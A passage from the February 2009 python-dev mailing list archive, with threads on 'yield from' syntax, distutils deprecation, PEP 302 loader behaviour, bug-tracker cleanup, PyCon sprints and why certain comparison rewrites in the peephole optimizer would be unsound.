AM, Antoine Pitrou wrote: > Mark Hammond gmail.com> writes: >> I'm not sure if the following is a bug I should report or simply an >> artifact of the implementation and/or simply the way things work on py3k: >> [...] > > It's a bug. http://bugs.python.org/issue5182 Cheers, Mark From g.brandl at gmx.net Sun Feb 8 11:06:18 2009 From: g.brandl at gmx.net (Georg Brandl) Date: Sun, 08 Feb 2009 11:06:18 +0100 Subject: [Python-Dev] yield * (Re: Missing operator.call) In-Reply-To: <20090208015007.12555.885411350.divmod.xquotient.4298@weber.divmod.com> References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> <498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org> <498C1D0A.4040200@canterbury.ac.nz> <498D4E9D.6070405@canterbury.ac.nz> <498E2EBF.7090309@canterbury.ac.nz> <20090208015007.12555.885411350.divmod.xquotient.4298@weber.divmod.com> Message-ID: glyph at divmod.com schrieb: > On 01:00 am, greg.ewing at canterbury.ac.nz wrote: >>Guido van Rossum wrote: >>>We already have yield expressions and they mean something else... >> >>They don't have a "*" in them, though, and I don't >>think the existing meaning of yield as an expression >>would carry over into the "yield *" variant, so there >>shouldn't be any conflict. >> >>But if you think there will be a conflict, or that the >>similarity would be too confusing, maybe the new >>construct should be called something else. I'm >>open to suggestions. > > I'm *already* regretting poking my head into this particular bike shed, > but... > > has anyone considered the syntax 'yield from iterable'? i.e. Yes, basically the "yield *" and "yield from" are the two possibilities that come up every once in a while. Would that someone wrote a PEP, so that we can get a decision at some time. Georg -- Thus spake the Lord: Thou shalt indent with four spaces. No more, no less. Four shall be the number of spaces thou shalt indent, and the number of thy indenting shall be four. Eight shalt thou not indent, nor either indent thou two, excepting that thou then proceed to four. Tabs are right out. From ziade.tarek at gmail.com Sun Feb 8 11:15:46 2009 From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=) Date: Sun, 8 Feb 2009 11:15:46 +0100 Subject: [Python-Dev] Mark old distutils as deprecated Message-ID: <94bdd2610902080215u744941adwa5119eb22827029e@mail.gmail.com> Hello To avoid confusion, as suggested by Akira who works on cleaning the Distutils pages on the python.org website, I would like to move http://svn.python.org/view/distutils/trunk into a branch and add a README.txt in an empty trunk to explain the current status of the package. Any objection ? Regards, Tarek -- Tarek Ziad? | Association AfPy | www.afpy.org Blog FR | http://programmation-python.org Blog EN | http://tarekziade.wordpress.com/ From amk at amk.ca Sun Feb 8 14:26:13 2009 From: amk at amk.ca (A.M. Kuchling) Date: Sun, 8 Feb 2009 08:26:13 -0500 Subject: [Python-Dev] Mark old distutils as deprecated In-Reply-To: <94bdd2610902080215u744941adwa5119eb22827029e@mail.gmail.com> References: <94bdd2610902080215u744941adwa5119eb22827029e@mail.gmail.com> Message-ID: <20090208132613.GA5711@amk.local> On Sun, Feb 08, 2009 at 11:15:46AM +0100, Tarek Ziad? wrote: > To avoid confusion, as suggested by Akira who works on cleaning the > Distutils pages on the python.org website, > I would like to move http://svn.python.org/view/distutils/trunk into a > branch and add a README.txt in an empty trunk > to explain the current status of the package. That seems fine to me. --amk From aahz at pythoncraft.com Sun Feb 8 23:37:51 2009 From: aahz at pythoncraft.com (Aahz) Date: Sun, 8 Feb 2009 14:37:51 -0800 Subject: [Python-Dev] IDLE reading IDLESTARTUP or PYTHONSTARTUP on restart In-Reply-To: References: Message-ID: <20090208223751.GA13870@panix.com> On Sat, Feb 07, 2009, Mitchell L Model wrote: > > I have a small change (shown below) to PyShell.py in idlelib that causes > the subprocess interpreter to read IDLESTARTUP or PYTHONSTARTUP each time > it restarts. To me this would make IDLE much more useful for myself and > students I teach. It isn't quite clear what behavior to install with the > enabling patch, so I would like some feedback before submitting it. You haven't received any feedback so far, so I recommend going ahead and submitting the patch to ensure that it doesn't get lost. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From greg.ewing at canterbury.ac.nz Mon Feb 9 00:24:15 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Mon, 09 Feb 2009 12:24:15 +1300 Subject: [Python-Dev] yield * (Re: Missing operator.call) In-Reply-To: <20090208015007.12555.885411350.divmod.xquotient.4298@weber.divmod.com> References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> <498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org> <498C1D0A.4040200@canterbury.ac.nz> <498D4E9D.6070405@canterbury.ac.nz> <498E2EBF.7090309@canterbury.ac.nz> <20090208015007.12555.885411350.divmod.xquotient.4298@weber.divmod.com> Message-ID: <498F699F.9090905@canterbury.ac.nz> glyph at divmod.com wrote: > has anyone considered the syntax 'yield from iterable'? That would be reasonable, too. I don't really have any strong feelings about the syntax at the moment, except that I'd like it to be something reasonably short so that embedding it in an expression is a feasible thing to do. -- Greg From ben at redfrontdoor.org Mon Feb 9 15:07:10 2009 From: ben at redfrontdoor.org (Ben North) Date: Mon, 9 Feb 2009 14:07:10 +0000 Subject: [Python-Dev] Partial function application 'from the right' Message-ID: <5169ff10902090607k28bbb8ffh6eced55f7d2a68ef@mail.gmail.com> Hi, As suggested, I've created http://bugs.python.org/issue5191 to hold the patches for this feature, and the relation to the 'partial.skip' feature request. Could somebody with appropriate privileges close the issue as rejected, if indeed that is the decision? Thanks, Ben. From mal at egenix.com Mon Feb 9 16:24:38 2009 From: mal at egenix.com (M.-A. Lemburg) Date: Mon, 09 Feb 2009 16:24:38 +0100 Subject: [Python-Dev] Mark old distutils as deprecated In-Reply-To: <94bdd2610902080215u744941adwa5119eb22827029e@mail.gmail.com> References: <94bdd2610902080215u744941adwa5119eb22827029e@mail.gmail.com> Message-ID: <49904AB6.30205@egenix.com> On 2009-02-08 11:15, Tarek Ziad? wrote: > Hello > > To avoid confusion, as suggested by Akira who works on cleaning the > Distutils pages on the python.org website, > I would like to move http://svn.python.org/view/distutils/trunk into a > branch and add a README.txt in an empty trunk > to explain the current status of the package. > > Any objection ? No. It be worthwhile keeping just the setup code and adjust that to take the distutils package from the python/ dir in order to build separate releases of the code for upload to PyPI (ones that basically provide the code as released in Python 2.x as separate download for 2.(x-1) and 2.(x-2)). -- Marc-Andre Lemburg eGenix.com Professional Python Services directly from the Source (#1, Feb 09 2009) >>> Python/Zope Consulting and Support ... http://www.egenix.com/ >>> mxODBC.Zope.Database.Adapter ... http://zope.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ ::: Try our new mxODBC.Connect Python Database Interface for free ! :::: eGenix.com Software, Skills and Services GmbH Pastor-Loeh-Str.48 D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg Registered at Amtsgericht Duesseldorf: HRB 46611 http://www.egenix.com/company/contact/ From asmodai at in-nomine.org Mon Feb 9 20:10:05 2009 From: asmodai at in-nomine.org (Jeroen Ruigrok van der Werven) Date: Mon, 9 Feb 2009 20:10:05 +0100 Subject: [Python-Dev] Pycon and Randall Munroe Message-ID: <20090209191005.GG58127@nexus.in-nomine.org> Whoever thought this one up [1], thank you for making me almost choke on my meal due to laughing fits. :-) [1] http://pycon.blogspot.com/2009/02/randall-munroe.html -- Jeroen Ruigrok van der Werven / asmodai ????? ?????? ??? ?? ?????? http://www.in-nomine.org/ | http://www.rangaku.org/ | GPG: 2EAC625B Earth to earth, ashes to ashes, dust to dust... From aahz at pythoncraft.com Mon Feb 9 20:50:00 2009 From: aahz at pythoncraft.com (Aahz) Date: Mon, 9 Feb 2009 11:50:00 -0800 Subject: [Python-Dev] Pycon and Randall Munroe In-Reply-To: <20090209191005.GG58127@nexus.in-nomine.org> References: <20090209191005.GG58127@nexus.in-nomine.org> Message-ID: <20090209195000.GA18565@panix.com> On Mon, Feb 09, 2009, Jeroen Ruigrok van der Werven wrote: > > Whoever thought this one up [1], thank you for making me almost choke on my > meal due to laughing fits. :-) > > [1] http://pycon.blogspot.com/2009/02/randall-munroe.html Primary credit for the writing goes to Catherine Devlin, who runs publicity for PyCon, but it was to some extent a group effort on the pycon-organizers list. PyCon is all about the volunteering! -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From guido at python.org Mon Feb 9 20:51:26 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 9 Feb 2009 11:51:26 -0800 Subject: [Python-Dev] Pycon and Randall Munroe In-Reply-To: <20090209195000.GA18565@panix.com> References: <20090209191005.GG58127@nexus.in-nomine.org> <20090209195000.GA18565@panix.com> Message-ID: On Mon, Feb 9, 2009 at 11:50 AM, Aahz wrote: > On Mon, Feb 09, 2009, Jeroen Ruigrok van der Werven wrote: >> >> Whoever thought this one up [1], thank you for making me almost choke on my >> meal due to laughing fits. :-) >> >> [1] http://pycon.blogspot.com/2009/02/randall-munroe.html > > Primary credit for the writing goes to Catherine Devlin, who runs > publicity for PyCon, but it was to some extent a group effort on the > pycon-organizers list. PyCon is all about the volunteering! Very cool. Has anyone contacted Randall about giving a keynote at PyCon? -- --Guido van Rossum (home page: http://www.python.org/~guido/) From krstic at solarsail.hcs.harvard.edu Mon Feb 9 20:53:43 2009 From: krstic at solarsail.hcs.harvard.edu (=?UTF-8?Q?Ivan_Krsti=C4=87?=) Date: Mon, 9 Feb 2009 14:53:43 -0500 Subject: [Python-Dev] Pycon and Randall Munroe In-Reply-To: References: <20090209191005.GG58127@nexus.in-nomine.org> <20090209195000.GA18565@panix.com> Message-ID: <903B8B0E-3AB8-48A5-9037-E5B4D2343967@solarsail.hcs.harvard.edu> On Feb 9, 2009, at 2:51 PM, Guido van Rossum wrote: > Very cool. Has anyone contacted Randall about giving a keynote at > PyCon? Yes, haven't heard back yet. -- Ivan Krsti? | http://radian.org From aahz at pythoncraft.com Mon Feb 9 20:54:16 2009 From: aahz at pythoncraft.com (Aahz) Date: Mon, 9 Feb 2009 11:54:16 -0800 Subject: [Python-Dev] Pycon and Randall Munroe In-Reply-To: References: <20090209191005.GG58127@nexus.in-nomine.org> <20090209195000.GA18565@panix.com> Message-ID: <20090209195416.GC18565@panix.com> On Mon, Feb 09, 2009, Guido van Rossum wrote: > On Mon, Feb 9, 2009 at 11:50 AM, Aahz wrote: >> On Mon, Feb 09, 2009, Jeroen Ruigrok van der Werven wrote: >>> >>> Whoever thought this one up [1], thank you for making me almost choke on my >>> meal due to laughing fits. :-) >>> >>> [1] http://pycon.blogspot.com/2009/02/randall-munroe.html >> >> Primary credit for the writing goes to Catherine Devlin, who runs >> publicity for PyCon, but it was to some extent a group effort on the >> pycon-organizers list. PyCon is all about the volunteering! > > Very cool. Has anyone contacted Randall about giving a keynote at PyCon? We're discussing it, but unless we want to conduct a public campaign to push him to come, let's keep it low-key for now. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From jnoller at gmail.com Mon Feb 9 21:04:01 2009 From: jnoller at gmail.com (Jesse Noller) Date: Mon, 9 Feb 2009 15:04:01 -0500 Subject: [Python-Dev] Pycon and Randall Munroe In-Reply-To: References: <20090209191005.GG58127@nexus.in-nomine.org> <20090209195000.GA18565@panix.com> Message-ID: <4222a8490902091204j66b348bcs48bb45ab462077a4@mail.gmail.com> On Mon, Feb 9, 2009 at 2:51 PM, Guido van Rossum wrote: > On Mon, Feb 9, 2009 at 11:50 AM, Aahz wrote: >> On Mon, Feb 09, 2009, Jeroen Ruigrok van der Werven wrote: >>> >>> Whoever thought this one up [1], thank you for making me almost choke on my >>> meal due to laughing fits. :-) >>> >>> [1] http://pycon.blogspot.com/2009/02/randall-munroe.html >> >> Primary credit for the writing goes to Catherine Devlin, who runs >> publicity for PyCon, but it was to some extent a group effort on the >> pycon-organizers list. PyCon is all about the volunteering! > > Very cool. Has anyone contacted Randall about giving a keynote at PyCon? > > -- > --Guido van Rossum (home page: http://www.python.org/~guido/) +1000 on this one. From bcannon at gmail.com Mon Feb 9 22:56:35 2009 From: bcannon at gmail.com (bcannon at gmail.com) Date: Mon, 09 Feb 2009 21:56:35 +0000 Subject: [Python-Dev] clarifying PEP 302 loader responsibilities upon failure Message-ID: <0016364c5b2fb9b7de0462837147@google.com> Guido and I were discussing what a loader should be responsible for when load_module is called and an exception is raised in relation to sys.modules as PEP 302 says nothing about the topic. We both agree that if the loader added a module to sys.modules it should be removed, otherwise it should be left alone. Assuming no one disagrees I will update the PEP to specify that this is the expected job of loaders. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From guido at python.org Mon Feb 9 23:02:13 2009 From: guido at python.org (Guido van Rossum) Date: Mon, 9 Feb 2009 14:02:13 -0800 Subject: [Python-Dev] clarifying PEP 302 loader responsibilities upon failure In-Reply-To: <0016364c5b2fb9b7de0462837147@google.com> References: <0016364c5b2fb9b7de0462837147@google.com> Message-ID: On Mon, Feb 9, 2009 at 1:56 PM, wrote: > Guido and I were discussing what a loader should be responsible for when > load_module is called and an exception is raised in relation to sys.modules > as PEP 302 says nothing about the topic. > > We both agree that if the loader added a module to sys.modules it should be > removed, otherwise it should be left alone. > > Assuming no one disagrees I will update the PEP to specify that this is the > expected job of loaders. (Note that currently most loaders we've looked at end up removing the module unconditionally, as this is what PyImport_ExecCodeModuleEx() does. PyImport_ReloadModule() has a super-duper hack to save the module object and put it back into sys.modules: if (newm == NULL) { /* load_module probably removed name from modules because of * the error. Put back the original module object. We're * going to return NULL in this case regardless of whether * replacing name succeeds, so the return value is ignored. */ PyDict_SetItemString(modules, name, m); } If we could get conforming loaders to behave as proposed, we wouldn't need this ugly hack. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From jacob at jacobian.org Tue Feb 10 02:27:09 2009 From: jacob at jacobian.org (Jacob Kaplan-Moss) Date: Mon, 9 Feb 2009 19:27:09 -0600 Subject: [Python-Dev] PyCon 2009: Call for sprint projects Message-ID: Python-related projects: join the PyCon Development Sprints! The development sprints are a key part of PyCon, a chance for the contributors to open-source projects to get together face-to-face for up to four days of intensive learning and development. Newbies sit at the same table as the gurus, go out for lunch and dinner together, and have a great time while advancing their project. Sprints are one of the best parts of PyCon; in 2008 over 250 sprinters came for at least one day! If your project would like to sprint at PyCon, now is the time to let us know. We'll collect your info and publish it so that participants will have time to make plans. We'll need to get the word out early so that folks who want to sprint have time to make travel arrangements. In the past, some have been reluctant to commit to sprinting: some may not know what sprinting is all about; others may think that they're not "qualified" to sprint. We're on an ongoing mission to change that perception: * We'll help promote your sprint. The PyCon website, the PyCon blog, the PyCon podcast, and press releases will be there for you. * PyCon attendees will be asked to commit to sprints on the registration form, which will include a list of sprints with links to further info. * We will be featuring a "How To Sprint" session on Sunday afternoon, followed by sprint-related tutorials, all for free. This is a great opportunity to introduce your project to prospective contributors. We'll have more details about this later. * Some sponsors are helping out with the sprints as well. There's also cost. Although the sprinting itself is free, sprints have associated time and hotel costs. We can't do anything about the time cost, but we may have some complimentary rooms and funding available for sprinters. We will have more to say on financial aid later. Those who want to lead a sprint should send the following information to pycon-organizers at python.org: * Project/sprint name * Project URL * The name and contact info (email and/or telephone) for the sprint leader(s) and other contributors who will attend the sprint * Instructions for accessing the project's code repository and documentation (or a URL) * Pointers to new contributor information (setup, etc.) * Any special requirements (projector? whiteboard? flux capacitor?) We will add this information to the PyCon website and set up a wiki page for you (or we can link to yours). Projects should provide a list of goals (bugs to fix, features to add, docs to write, etc.), especially some goals for beginners, to attract new sprinters. The more detail you put there, the more prepared your sprinters will be, and the more results you'll get. In 2008 there were sprints for Python, TurboGears, Pylons, Django, Jython, WSGI, PyGame, Bazaar, Trac, PyCon-Tech, OLPC, Orbited, PyPy, Grok, and many others. We would like to see all these and more! Sprints will start with an introductory session on Sunday, March 29; this session will begin immedately after PyCon's scheduled portion ends. The sprints themselves will run from Monday, March 30 through Thursday, April 2, 2009. You can find all these details and more at http://us.pycon.org/2009/sprints/. If you have any questions, feel free to contact me directly. Thank you very much, and happy coding! Jacob Kaplan-Moss From nad at acm.org Tue Feb 10 05:18:36 2009 From: nad at acm.org (Ned Deily) Date: Mon, 09 Feb 2009 20:18:36 -0800 Subject: [Python-Dev] Fwd: IDLE on a Mac References: <77F954DE-354D-4D9B-8C25-54597052E0D0@cox.net> Message-ID: In article , Ned Deily wrote: > In article <77F954DE-354D-4D9B-8C25-54597052E0D0 at cox.net>, > ringhome wrote: > > > I am, however, having a small difficulty at home on my Mac. Not > > > willing to wait for a nice, pre-packaged bundle, I went and > > > downloaded the files and built 3.0 myself. The issue comes from > > > launching the IDLE.app from the Mac GUI versus a Terminal Shell. > > > From the GUI, IDLE launches fine, but the FILE dropdown menu only > > > has "Recent Files" in it. No way to create new one, save, etc. > Definitely not a feature! There are a few known problems with 3.x IDLE > on OS X. I'm in the final stages of testing several patches which, > among other things should solve that problem. Perhaps there might help: -- Ned Deily, nad at acm.org From ajaksu at gmail.com Tue Feb 10 14:23:28 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Tue, 10 Feb 2009 11:23:28 -0200 Subject: [Python-Dev] Tracker archeology Message-ID: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Hi all, For the past two days I've been doing some housekeeping *cough*spamming*cough* on the tracker, mostly on ancient and/or easy bugs. So far, ten bugs have been closed (thanks Antoine, Barry, Benjamin, Guilherme, Martin and Raymond). I nominated some other bugs (below) for closing and added a few simple patches, with a couple more pending feedback. If anyone is interested in being added as nosy for any category of bugs, let me know and I'll do that as I scan the tracker. Iff this kind of Bug-Day-ish work is desirable, doesn't disrupt real work and people agree the workflow would be better, I'd like to have developer rights in the tracker, as per Antoine's suggestion. FWIW, I have no problem with the current situation. Talking about Bug Days, I see lots of easy bugs, some with outdated patches. Is there any plan of doing a Bug Day around PyCon time? Best regards, Daniel Bugs nominated for express closing: http://bugs.python.org/issue1103926 email.base64MIME.header_encode vs RFC 1522 http://bugs.python.org/issue727898 Support for sending multipart form data http://bugs.python.org/issue713169 test_pty fails on HP-UX and AIX when run after test_openpty http://bugs.python.org/issue816059 popen2 work, fixes bugs 768649 and 761888 http://bugs.python.org/issue1911 webbrowser.open firefox 3 issues http://bugs.python.org/issue1170065 HTTPResponse.getheaders() returns lowercased header names http://bugs.python.org/issue1175686 add "reload" function http://bugs.python.org/issue779191 BasicModuleLoader behaviour in Python 2.3c2 http://bugs.python.org/issue1327971 HTTPResponse instance has no attribute 'fileno' From facundobatista at gmail.com Tue Feb 10 14:42:53 2009 From: facundobatista at gmail.com (Facundo Batista) Date: Tue, 10 Feb 2009 11:42:53 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: 2009/2/10 Daniel (ajax) Diniz : > If anyone is interested in being added as nosy for any category of > bugs, let me know and I'll do that as I scan the tracker. Anything related to Decimal, add me. Thanks! -- . Facundo Blog: http://www.taniquetil.com.ar/plog/ PyAr: http://www.python.org/ar/ From guido at python.org Tue Feb 10 16:58:57 2009 From: guido at python.org (Guido van Rossum) Date: Tue, 10 Feb 2009 07:58:57 -0800 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: Thanks Daniel! This kind of work is never fun but very much needed and I'm very glad you did it. A round of applause!! On Tue, Feb 10, 2009 at 5:23 AM, Daniel (ajax) Diniz wrote: > Hi all, > > For the past two days I've been doing some housekeeping > *cough*spamming*cough* on the tracker, mostly on ancient and/or easy > bugs. So far, ten bugs have been closed (thanks Antoine, Barry, > Benjamin, Guilherme, Martin and Raymond). I nominated some other bugs > (below) for closing and added a few simple patches, with a couple more > pending feedback. > > If anyone is interested in being added as nosy for any category of > bugs, let me know and I'll do that as I scan the tracker. > > Iff this kind of Bug-Day-ish work is desirable, doesn't disrupt real > work and people agree the workflow would be better, I'd like to have > developer rights in the tracker, as per Antoine's suggestion. FWIW, I > have no problem with the current situation. > > Talking about Bug Days, I see lots of easy bugs, some with outdated > patches. Is there any plan of doing a Bug Day around PyCon time? > > Best regards, > Daniel > > Bugs nominated for express closing: > > http://bugs.python.org/issue1103926 email.base64MIME.header_encode vs RFC 1522 > > http://bugs.python.org/issue727898 Support for sending multipart form data > > http://bugs.python.org/issue713169 test_pty fails on HP-UX and AIX > when run after test_openpty > > http://bugs.python.org/issue816059 popen2 work, fixes bugs 768649 and 761888 > > http://bugs.python.org/issue1911 webbrowser.open firefox 3 issues > > http://bugs.python.org/issue1170065 HTTPResponse.getheaders() returns > lowercased header names > > http://bugs.python.org/issue1175686 add "reload" function > > http://bugs.python.org/issue779191 BasicModuleLoader behaviour in Python 2.3c2 > > http://bugs.python.org/issue1327971 HTTPResponse instance has no > attribute 'fileno' > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From dickinsm at gmail.com Tue Feb 10 17:22:40 2009 From: dickinsm at gmail.com (Mark Dickinson) Date: Tue, 10 Feb 2009 16:22:40 +0000 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: <5c6f2a5d0902100822s36599294y52b806d0c2855084@mail.gmail.com> On Tue, Feb 10, 2009 at 1:23 PM, Daniel (ajax) Diniz wrote: > If anyone is interested in being added as nosy for any category of > bugs, let me know and I'll do that as I scan the tracker. Feel free to assign anything math-related (math and cmath modules, float and complex objects) to me. Thanks for this! Mark From cesare.dimauro at a-tono.com Tue Feb 10 17:24:45 2009 From: cesare.dimauro at a-tono.com (Cesare Di Mauro) Date: Tue, 10 Feb 2009 17:24:45 +0100 Subject: [Python-Dev] Expression optimizations In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: In peephole.c I noticed some expression optimizations: /* not a is b --> a is not b not a in b --> a not in b not a is not b --> a is b not a not in b --> a in b */ So, it seems that an operation can be changed to another one which is logically equivalent. Could it be applyable to other operations as well? So, if I wrote: c = not(a < b) the compiler and/or peephole optimizer can generate bytecodes instructions which, instead, execute the following operation: c = a >= b Is it right? Thanks a lot Cesare From daniel at stutzbachenterprises.com Tue Feb 10 17:38:55 2009 From: daniel at stutzbachenterprises.com (Daniel Stutzbach) Date: Tue, 10 Feb 2009 10:38:55 -0600 Subject: [Python-Dev] Expression optimizations In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: On Tue, Feb 10, 2009 at 10:24 AM, Cesare Di Mauro wrote: > Could it be applyable to other operations as well? So, if I wrote: > c = not(a < b) > the compiler and/or peephole optimizer can generate bytecodes instructions > which, instead, execute the following operation: > c = a >= b > Those two expressions are equivalent for integers, but not necessarily equivalent for objects that define their own comparison operator. -- Daniel Stutzbach, Ph.D. President, Stutzbach Enterprises, LLC -------------- next part -------------- An HTML attachment was scrubbed... URL: From solipsis at pitrou.net Tue Feb 10 17:56:22 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Tue, 10 Feb 2009 16:56:22 +0000 (UTC) Subject: [Python-Dev] Expression optimizations References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: Cesare Di Mauro a-tono.com> writes: > Could it be applyable to other operations as well? So, if I wrote: > > c = not(a < b) > > the compiler and/or peephole optimizer can generate bytecodes instructions which, instead, execute the > following operation: > > c = a >= b > > Is it right? No, it would be a bogus optimization: >>> a = set([1]) >>> b = set([2]) >>> a < b False >>> a >= b False Regards Antoine. From steve at holdenweb.com Tue Feb 10 18:16:23 2009 From: steve at holdenweb.com (Steve Holden) Date: Tue, 10 Feb 2009 12:16:23 -0500 Subject: [Python-Dev] Expression optimizations In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: Daniel Stutzbach wrote: > On Tue, Feb 10, 2009 at 10:24 AM, Cesare Di Mauro > > wrote: > > Could it be applyable to other operations as well? So, if I wrote: > c = not(a < b) > the compiler and/or peephole optimizer can generate bytecodes > instructions which, instead, execute the following operation: > c = a >= b > > > Those two expressions are equivalent for integers, but not necessarily > equivalent for objects that define their own comparison operator. > That's true, but the same *could* be said about the existing optimizations for objects that define their own __contains__. regards Steve -- Steve Holden +1 571 484 6266 +1 800 494 3119 Holden Web LLC http://www.holdenweb.com/ From daniel at stutzbachenterprises.com Tue Feb 10 18:24:18 2009 From: daniel at stutzbachenterprises.com (Daniel Stutzbach) Date: Tue, 10 Feb 2009 11:24:18 -0600 Subject: [Python-Dev] Expression optimizations In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: On Tue, Feb 10, 2009 at 11:16 AM, Steve Holden wrote: > That's true, but the same *could* be said about the existing > optimizations for objects that define their own __contains__. > No, because there isn't a __not_contains__, so you cannot define the inverse operation differently. "not a in b" and "a not in b" have exactly the same effects. -- Daniel Stutzbach, Ph.D. President, Stutzbach Enterprises, LLC -------------- next part -------------- An HTML attachment was scrubbed... URL: From steve at holdenweb.com Tue Feb 10 18:25:51 2009 From: steve at holdenweb.com (Steve Holden) Date: Tue, 10 Feb 2009 12:25:51 -0500 Subject: [Python-Dev] Expression optimizations In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: Daniel Stutzbach wrote: > On Tue, Feb 10, 2009 at 11:16 AM, Steve Holden > wrote: > > That's true, but the same *could* be said about the existing > optimizations for objects that define their own __contains__. > > > No, because there isn't a __not_contains__, so you cannot define the > inverse operation differently. "not a in b" and "a not in b" have > exactly the same effects. > Ah, right, that guarantees semantic equivalence. Sorry. regards Steve -- Steve Holden +1 571 484 6266 +1 800 494 3119 Holden Web LLC http://www.holdenweb.com/ From solipsis at pitrou.net Tue Feb 10 18:26:19 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Tue, 10 Feb 2009 17:26:19 +0000 (UTC) Subject: [Python-Dev] Expression optimizations References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: Steve Holden holdenweb.com> writes: > > That's true, but the same *could* be said about the existing > optimizations for objects that define their own __contains__. No, because there is no such thing as __not_contains__. Regards Antoine. From brett at python.org Tue Feb 10 20:04:28 2009 From: brett at python.org (Brett Cannon) Date: Tue, 10 Feb 2009 11:04:28 -0800 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: On Tue, Feb 10, 2009 at 05:23, Daniel (ajax) Diniz wrote: > Hi all, > > For the past two days I've been doing some housekeeping > *cough*spamming*cough* on the tracker, mostly on ancient and/or easy > bugs. So far, ten bugs have been closed (thanks Antoine, Barry, > Benjamin, Guilherme, Martin and Raymond). I nominated some other bugs > (below) for closing and added a few simple patches, with a couple more > pending feedback. > > If anyone is interested in being added as nosy for any category of > bugs, let me know and I'll do that as I scan the tracker. > Warnings and import for me. > > Iff this kind of Bug-Day-ish work is desirable, doesn't disrupt real > work and people agree the workflow would be better, I'd like to have > developer rights in the tracker, as per Antoine's suggestion. FWIW, I > have no problem with the current situation. > It's been asked on python-committers; just have to wait for any potential objections (really doubt there will be any, though). > > Talking about Bug Days, I see lots of easy bugs, some with outdated > patches. Is there any plan of doing a Bug Day around PyCon time? > Well, the sprints at PyCon are Bug Days themselves really, although they happen during the week so that tends to cause problems. As of right now there are no plans but someone can obviously plan one if they feel up for it. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From python at rcn.com Tue Feb 10 20:15:44 2009 From: python at rcn.com (Raymond Hettinger) Date: Tue, 10 Feb 2009 11:15:44 -0800 Subject: [Python-Dev] Expression optimizations References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: <951A81ABBD7F4CA7956A8CB9DC157CD8@RaymondLaptop1> ----- Original Message ----- From: "Cesare Di Mauro" To: "Python-Dev" Sent: Tuesday, February 10, 2009 8:24 AM Subject: [Python-Dev] Expression optimizations > In peephole.c I noticed some expression optimizations: > > /* not a is b --> a is not b > not a in b --> a not in b > not a is not b --> a is b > not a not in b --> a in b > */ > > So, it seems that an operation can be changed to another one which is logically equivalent. > > Could it be applyable to other operations as well? So, if I wrote: > > c = not(a < b) > > the compiler and/or peephole optimizer can generate bytecodes instructions which, instead, execute the following operation: > > c = a >= b > > Is it right? We've only done conservative transformations that do not change which magic methods get called. The is / isnot transformations are invisible to the programmer and always semantically neutral. Your proposed transformation is changes which methods get called and makes assumptions that the usual relationships between comparison operators holds (but it might not given rich comparisons, for example, sets use the comparison operators for subset/superset tests). Raymond From python at rcn.com Tue Feb 10 20:33:32 2009 From: python at rcn.com (Raymond Hettinger) Date: Tue, 10 Feb 2009 11:33:32 -0800 Subject: [Python-Dev] Daily documentation builds Message-ID: <00C904AA5E36487683FFC7CB776C9AA9@RaymondLaptop1> The online development docs stopped their nightly rebuilds four days ago. Raymond From benjamin at python.org Tue Feb 10 21:18:55 2009 From: benjamin at python.org (Benjamin Peterson) Date: Tue, 10 Feb 2009 15:18:55 